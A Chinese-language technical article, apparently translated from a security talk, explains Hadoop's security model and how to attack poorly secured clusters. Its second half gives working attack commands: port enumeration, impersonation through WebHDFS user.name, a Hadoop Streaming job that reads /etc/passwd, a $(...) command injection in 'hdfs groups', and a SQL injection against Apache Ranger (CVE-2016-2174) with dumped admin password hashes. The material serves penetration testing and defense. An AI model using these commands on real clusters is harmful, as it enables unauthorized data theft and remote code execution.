挖掘分布式系统——Hadoop的漏洞

知乎用户thgJES

Hadoop及其安全模型概述

Hadoop简述

Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的 MapReduce 算法进行分布式处理。这个框架被Adobe，Last fm，EBay，Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作，用户大概通过如下步骤在hadoop中实现分布式处理：

用户创建一个处理键值的map函数
产生了一套中间键/值
reduce函数合并中间值并把他们关联到对应的键

虽说hadoop是免费且开源的，它还是分出了许多发行版，以下是三个最受欢迎的发行版：

幸运的是，这三个版本都是基于Hadoop的，所以它们都大同小异。

这副图大致描述了Hadoop在大数据框架中的位置：

显而易见，Hadoop在大数据环境中负责最底层的操作。图中的MapReduce负责数据处理。HDFS则是一种特殊的文件系统，其用来存储Hadoop里的数据。而在这两者之上的Yarn是Hadoop集群的资源管理器。

安全模型

身份验证

默认情况下，Hadoop集群不强制管理员添加身份验证。就算开了默认的身份验证（但是没有用Kerberos)，它也只是简单地检查一下登陆的用户及其所在组是合法的。

有些时候，由于管理员疏忽，验证可能只会在部分模块打开。下面的配置文件分别描述了不同情况：

全部都需认证：

<name>hadoop.security.authentication</name>
<value>simple</value>
<source>core-default.xml</source>

只在Web接口验证：

<name>hadoop.http.authentication.type</name>
<value>simple</value>
<source>core-default.xml</source>

可匿名登陆：

<name>hadoop.http.authentication.simple.anonymous.allowed</name>
<value>simple</value>
<source>core-default.xml</source>

只在Yarn上开启身份验证：

<name>yarn.timeline-service.http-authentication.simple.anonymous.allowed</name>
<value>simple</value>
<source>core-default.xml</source>

不仅如此，每个Hadoop组件都有自己的认证模块，这无疑大大提升了防御的复杂度。

就拿HDFS来说，它同时支持*nix式权限（user/group/other）和ACL（2.5后加入）
!

数据保护

默认情况下（不开Kerberos），传输及存储的数据不会被加密保护。不过我们这里主要来谈一谈开启加密的状况，我们大致可以分成两种：

传输加密：
在NameNode会有三种保护：第一种仅确认身份正确，而第二种额外保证信息完整性，第三种会加密所有数据。在所有Web应用中，SSL/TLS是默认打开的。DataNode则会使用AES加密数据并用RC4/3DES交换密匙。
存储加密：
Hadoop用Encryption Zone来保护目录并且每一个文件都有独特的密匙。

如何Pwn掉Hadoop

探索攻击面

一般来讲，Hadoop集群有这三种布置方案：

完全暴露

这种情况下，攻击面十分广阔。攻击者更有可能非法获取数据。

只有用户服务暴露

相对于前一种情况，攻击面大大减少了，而且必须要找到用户凭证或者Web漏洞才能进一步探索集群。

高度隐匿

这种情况的攻击面被最小化了。攻击者需要想方设法才能进入Hadoop设施。

我们再来给端口分一下类：

NameNode的常规服务：

-- HDFS
TCP / 8020: HDFS metadata
  $ hadoop fs -ls /tmp
HTTP / 50070 (50470): HDFS NameNode WebUI
  $ HDFS WebUI explorer at /explorer.html
  $ Redirecting actual data access to DataNode on port 50075
HTTP / 50090: Secondary NameNode WebUI
  $ Fewer stuff than the primary on TCP / 50070
-- YARN / MapReduce v2
TCP / 8030-3: YARN job submission
HTTP / 8088 (8090): YARN ResourceManager WebUI
HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI
--  MapReduce v1 --
TCP / 8021: MapReduce v1 job submission
HTTP / 50030: MapReduce v1 JobTracker

DataNode的常规服务：

-- HDFS
TCP / 8020: HDFS metadata
  $ hadoop fs -ls /tmp
HTTP / 50070 (50470): HDFS NameNode WebUI
  $ HDFS WebUI explorer at /explorer.html
  $ Redirecting actual data access to DataNode on port 50075
HTTP / 50090: Secondary NameNode WebUI
  $ Fewer stuff than the primary on TCP / 50070
-- YARN / MapReduce v2
TCP / 8030-3: YARN job submission
HTTP / 8088 (8090): YARN ResourceManager WebUI
HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI
-- MapReduce v1 --
TCP / 8021: MapReduce v1 job submission
HTTP / 50030: MapReduce v1 JobTracker

除此之外，我们还需留心以下第三方服务：

HTTP / 14000: HTTPFS WebHDFS
HTTP / 8443: Apache KNOX
HTTP / 7180 (7183): Cloudera Manager
HTTP / 8080: Apache Ambari
HTTP / 6080: Apache Ranger
HTTP / 8888: Cloudera HUE
HTTP / 11000: Oozie Web Console

我们应该如何探测这些端口呢？之前对这些端口的支持很不友好，直到17年三月的一次commit，我们才能用nmap的http-enum脚本检测出这些服务：

/ Apache Ambari
/ Apache Oozie
/ Apache Ranger
/ Cloudera HUE
/ Cloudera Manager
/ Hadoop MapReduce v2
/ Hadoop YARN Node Manager and Resource Manager

nmap探测实例：

$ nmap -sV --script=http-enum -p- 192.168.11.150
PORT STATE SERVICE
6080/tcp open http
| http-enum:
|_ /login.jsp: Apache Ranger WebUI
8042/tcp open http
| http-enum:
|_ /node: Hadoop YARN Node Manager version 2.7.1.2.4.0.0-169,
Hadoop version 2.7.1.2.4.0.0-169
8080/tcp open http
| http-enum:
|_ /: Apache Ambari WebUI
8088/tcp open http
| http-enum:
|_ /cluster/cluster: Hadoop YARN Resource Manager version
2.7.1.2.4.0.0-169, state "started", Hadoop version 2.7.1.2.4.0.0-169
19888/tcp open http
| http-enum:
|_ /jobhistory: Hadoop MapReduce JobHistory WebUI

任意数据获取

WebHDFS提供REST API来给用户提供数据，在它只开启简单认证的情况下，我们仅需要提交user.name参数，即可获取任意数据。因此它成为了攻击目标的不二之选。那么我们如何找到这个服务呢？通常来讲，它会提供HDFS DataNode WebUI（默认端口50075）。或者可以在HTTPFS moudule（端口14000）及Apache KNOX（端口8443）找到该服务。
(PS：作者此处用了自己写的脚本hdfsbrowser自动化攻击化，他在 https://github.com/wavestone-cdt/hadoop-attack-library给出了更多hadoop漏洞利用脚本。）

我们甚至只需简单地在CLI中输入export HADOOP_USER_NAME=<想要的用户名>，即可进行越权访问：

节点的RCE

Hadoop是一款分布式处理框架，它最重要的地方是 执行任务 。当一个节点的ip过滤不当或者认证不严时，我们可以让它执行任意命令。

我们也不用操心Java代码。Hadoop Streaming能让我们在MapReduce中运行CLI命令：

#创建任务
$ hadoop \
  jar <path_to_hadoop_streaming.jar> \
    -input /non_empty_file_on_HDFS \
    -output /output_directory_on_HDFS \
    -mapper "/bin/cat /etc/passwd" \
    -reducer NONE
#检查是否有结果
$ hadoop fs –ls /output_directory_on_HDFS
#输出结果
$ hadoop fs –cat /output_directory_on_HDFS/part-00000
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

由于分布式的特性，我们并不清楚具体哪个节点在执行我们的payload，因此我们需要想方设法得到配置文件。最简单的方法是直接在原生WebUI(HDFS WebUI/ JobHistory/ ResourceManager)中请求/conf:

如果前一种方法失效了，我们就需要利用第三方Web管理平台的漏洞了。比如说Cloudera Manager未授权下载漏洞：

攻击Hadoop组件

在Hadoop 2.6.x < 2.6.5和2.7.x < 2.7.3中，只要hdfs用户在hadoop.security.group.mapping中有org.apache.hadoop.security.ShellBasedUnixGroupsMapping，他就可以执行任意命令。比方说：

我们便可以:

unprivilegeduser$ hdfs groups '$(ping 127.0.0.1)'
unprivilegeduser$ ps aux|grep "ping 12"
hdfs 6227 0.0 0.0 15484 764 ? S 13:24 0:00 bash -c id -gn $(ping 127.0.0.1)&& id -Gn $(ping 127.0.0.1)
hdfs 6228 0.0 0.0 14732 868 ? S 13:24 0:00 ping 127.0.0.1

虽然ShellBasedUnixGroupsMapping不是默认组件，但还是有许多安全意识不足的管理员启用了它：

攻击第三方模块

第三方组件往往也会带来许多安全问题，比方说一个后台注入（CVE-2016-2174）：
GET http://<apache_ranger_IP>:6080/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1

这样，我们就能dump密码：

> select last_name, first_name, email, login_id, password, user_role from x_portal_user,
x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3 :
[*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN
[*] , rangerusersync, 1457692398755_962_66, ambari-qa, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN
[*] , keyadmin, 1457692592328_160_91, amb_ranger_admin, a05f34d2dce2b4688fa82e82a89ba958,ROLE_KEY_ADMIN